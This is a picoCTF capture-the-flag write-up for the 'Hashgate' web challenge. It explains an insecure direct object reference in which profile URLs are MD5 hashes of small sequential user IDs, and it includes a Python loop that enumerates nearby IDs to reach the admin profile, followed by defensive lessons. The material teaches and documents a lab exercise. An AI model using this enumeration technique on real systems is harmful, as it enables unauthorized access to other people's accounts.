picoCTF - Web Exploitation

Hashgate

picoCTF Hashgate writeup exploiting an IDOR vulnerability where user IDs are hashed with MD5, allowing access to other users accounts by predicting hash values.

Contents

Hashgate

Challenge Summary

This picoCTF web challenge exposed a company portal with a standard login page and a hint that there were only about 20 employees in the organisation. The prompt also pointed out that the profile ID check was not using plain text, suggesting that some one-way function was involved.

Target:

http://crystal-peak.picoctf.net:57973/

The objective was to reach the admin’s profile and recover the flag.

Initial Recon

Opening the main page showed a login form. The HTML source contained a helpful comment that leaked valid guest credentials:

<!-- Email: guest@picoctf.org Password: guest -->

That meant the first useful step was to authenticate as the guest user and inspect what happened after login.

Login Request

The frontend submitted credentials as JSON to /login:

POST /login
Content-Type: application/json

{"email":"guest@picoctf.org","password":"guest"}

The server responded with a redirect:

HTTP/1.1 302 Found
Location: /profile/user/e93028bdc1aacdfb3687181f2031765d

So the profile route looked like:

/profile/user/<hashed_value>

Inspecting the Guest Profile

Requesting the redirected profile returned:

Access level: Guest (ID: 3000). Insufficient privileges to view classified data. Only top-tier users can access the flag.

This revealed an important detail:

  • The guest account had numeric ID 3000
  • The URL used a 32-character hexadecimal value
  • That strongly suggested a hash, likely MD5

Verifying the Hash Function

To test whether the URL value was simply the hash of the numeric ID:

printf '3000' | md5sum

The result was:

e93028bdc1aacdfb3687181f2031765d

That exactly matched the value in the guest profile URL.

So the application was building profile paths like this:

/profile/user/md5(user_id)

This is not real authorization. It is only identifier obfuscation.

Vulnerability

The bug is an insecure direct object reference, or IDOR.

The application assumed that hashing the internal numeric ID would hide other users’ profiles. But if an attacker can infer:

  • the hashing function
  • the input format
  • the likely ID range

then the attacker can compute other valid profile URLs directly.

Because the challenge stated there were only about 20 employees, brute-forcing nearby numeric IDs was trivial.

Exploitation Strategy

The guest account was ID 3000, so the most likely admin account would be in a nearby range. The plan was:

  1. Generate MD5 hashes for candidate IDs
  2. Request /profile/user/<md5(id)>
  3. Stop when a valid non-guest profile appeared

Example enumeration logic:

import hashlib
import urllib.request
import urllib.error

for i in range(2990, 3011):
    h = hashlib.md5(str(i).encode()).hexdigest()
    url = f"http://crystal-peak.picoctf.net:57973/profile/user/{h}"

    try:
        with urllib.request.urlopen(url) as r:
            body = r.read().decode()
        print(i, body)
    except urllib.error.HTTPError as e:
        print(i, "HTTP", e.code)

Successful Result

Enumeration showed that 3010 was the admin profile:

3010 Welcome, admin! Here is the flag: picoCTF{<redacted>}

To confirm the exact admin URL:

printf '3010' | md5sum

Output:

281642b3b16d4a7c98e9ccdf7ba4c6c2

So the admin profile endpoint was:

http://crystal-peak.picoctf.net:57973/profile/user/281642b3b16d4a7c98e9ccdf7ba4c6c2

Requesting that endpoint returned the flag.

Flag

picoCTF{<redacted>}

Why the Defense Failed

The application tried to protect profile access by hiding the raw numeric ID behind a hash. That fails for two reasons:

  1. Hashing is not authorization.
  2. The ID space was tiny and predictable.

Since the guest profile disclosed ID: 3000, an attacker immediately had a starting point. With only about 20 employees, testing nearby IDs was enough to recover the admin profile.

This is a common design mistake:

  • Developers hide direct identifiers
  • They assume hidden means protected
  • Attackers enumerate the underlying values anyway

Security Lessons

  • Never rely on hashed or encoded object IDs as an access control mechanism.
  • Every request for a resource must enforce server-side authorization.
  • If a user requests another user’s profile, the server must verify they are allowed to access it.
  • Predictable identifier spaces make brute-force enumeration easy even when IDs are transformed.

Takeaway

This challenge was solved by recognizing that the profile path used md5(user_id) instead of a secure access-control check. Once the guest profile exposed ID 3000, the rest became a small enumeration problem. Testing nearby IDs revealed that 3010 belonged to the admin account, and its hashed value led directly to the flag.

Final admin URL:

/profile/user/281642b3b16d4a7c98e9ccdf7ba4c6c2

Final flag:

picoCTF{<redacted>}